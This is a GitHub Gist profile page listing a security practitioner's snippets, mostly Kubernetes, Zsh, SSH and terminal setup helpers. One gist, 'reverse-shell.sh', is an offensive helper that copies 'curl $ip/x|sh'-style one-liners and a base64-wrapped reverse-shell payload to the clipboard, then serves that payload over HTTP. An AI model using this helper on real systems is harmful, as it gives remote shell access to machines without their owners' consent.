Skip to content

Instantly share code, notes, and snippets.

View zAbuQasem's full-sized avatar
🎯
Focusing

Zeyad AbuLaban zAbuQasem

🎯
Focusing
View GitHub Profile
@zAbuQasem
zAbuQasem / kubeshark-merge.sh
Created May 30, 2026 11:57
kubeshark-merge: extract every PCAP from a Kubeshark snapshot tar and merge into one timestamp-sorted capture
#!/usr/bin/env bash
# kubeshark-merge — extract every PCAP from a Kubeshark snapshot tar and merge
# them into a single timestamp-sorted capture.
#
# Usage:
# kubeshark-merge [options] <snapshot.tar>
#
# Options:
# -o, --output PATH Output PCAP path (default: <tar-basename>.merged.pcap
# next to the input tar).
@zAbuQasem
zAbuQasem / k8s_list_resources_ns.sh
Created January 2, 2026 15:59
List all resources in a namespace
k8s_list_ns_apis() {
local ns="$1"
# If no namespace provided, use fzf to pick from all namespaces
if [[ -z "$ns" ]]; then
ns="$(
kubectl get ns \
-o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' \
| fzf --prompt='Namespaces > ' --height=10 --reverse
)"
@zAbuQasem
zAbuQasem / k8s_force_delete_ns.sh
Created December 10, 2025 22:53
Shell function that delete a namespace stuck in terminating state.
k8s_force_delete_ns() {
local ns="$1"
# If no namespace provided, use fzf to pick from terminating namespaces
if [[ -z "$ns" ]]; then
ns="$(
kubectl get ns \
--field-selector=status.phase=Terminating \
-o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' \
| fzf --prompt='Terminating namespaces > ' --height=10 --reverse
@zAbuQasem
zAbuQasem / zsh-per-app-history
Last active December 7, 2025 20:26
Per-terminal Zsh history: use a separate HISTFILE for each terminal app (VS Code, iTerm, etc.) while keeping a common history for Apple Terminal and Ghostty on Linux/WSL.
set_app_history() {
local app=${TERM_PROGRAM:-Apple_Terminal}
local default_histfile="$HOME/.zsh_history"
# Terminals that should use the shared/default history file
local -a SHARED_HISTORY_TERMINALS=(
Apple_Terminal
iTerm.app
Ghostty
)
@zAbuQasem
zAbuQasem / DockerRegistryGrabber-v2.sh
Created February 10, 2025 22:40
Download layers of Multi-Platform container images.
#!/bin/bash
# Author: zAbuQasem
# GitHub: https://github.com/zAbuQasem
# Script extract only `latest` tag image layers from a the registry, check line 142 to change the tag
## You can get tag from the registry by running the following command
### curl -s http://localhost:5000/v2/your-image-name/tags/list
# Define colors
@zAbuQasem
zAbuQasem / create-package.sh
Created April 12, 2024 02:58
Create apt package and serve it
#!/bin/bash
# Create necessary directory structure
mkdir -p package/package_1.0.0-1_amd64
cd package/package_1.0.0-1_amd64
# Create directory for binary
mkdir -p usr/bin
cd usr/bin
@zAbuQasem
zAbuQasem / reverse-shell.sh
Created April 9, 2024 03:21
Add this function to your `$SHELL.rc` file
s() {
local ip=$(ip -4 addr show tun0 | grep inet | awk '{print $2}' | cut -d/ -f1)
case "$1" in
-w ) echo -n "wget -qO - http://$ip/x |sh" | xclip -sel clip ;;
-e ) payload="echo $(curl -sq https://reverse-shell.sh/$ip:443 | sed '/^#/d' | base64 -w0) | base64 -d | sh" ; echo "echo $(echo $payload | base64 -w0)| base64 -d | sh" | xclip -sel clip ; return 0;;
* ) echo -n "curl $ip/x|sh" | xclip -sel clip ;;
esac
curl https://reverse-shell.sh/$ip:443 -o x
python3 -m http.server 80
}
@zAbuQasem
zAbuQasem / ssh-config.sh
Last active April 19, 2024 04:43
Add an entry to ssh config
#!/bin/bash
if [[ $# -lt 2 ]]; then
echo -e "\e[31m[Error]: Not enough arguments!\e[0m"
echo -e "\e[31m[!] Position Matters!\e[0m"
echo -e "\e[32m[+] Usage: ssh-config.sh [-i identity_file] [-p port] user@host alias\e[0m"
exit 1
fi
while getopts "i:p:" opt; do
@zAbuQasem
zAbuQasem / terminal.sh
Last active November 14, 2024 22:01
Configure new instance with fancy terminal
#!/bin/bash -xe
sudo apt update && sudo apt upgrade -y
sudo apt install -y zsh curl nano net-tools git ripgrep vim xclip fail2ban p7zip-full unzip dnsutils
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf
~/.fzf/install --all
curl https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -o /tmp/install.sh &&
sed -i 's/CHSH=no/CHSH=yes/g' /tmp/install.sh &&
echo "Y" | sh /tmp/install.sh
sed -i 's/plugins=(git)/plugins=(git fzf)/g' ~/.zshrc
@zAbuQasem
zAbuQasem / patch-ingress.py
Last active April 19, 2024 04:43
Quickly Patch ingress-nginx to handle TCP traffic:
import argparse
import subprocess
import yaml
__author__ = "Zeyad AbuLaban"
BASE_YAML = """
spec:
template:
spec: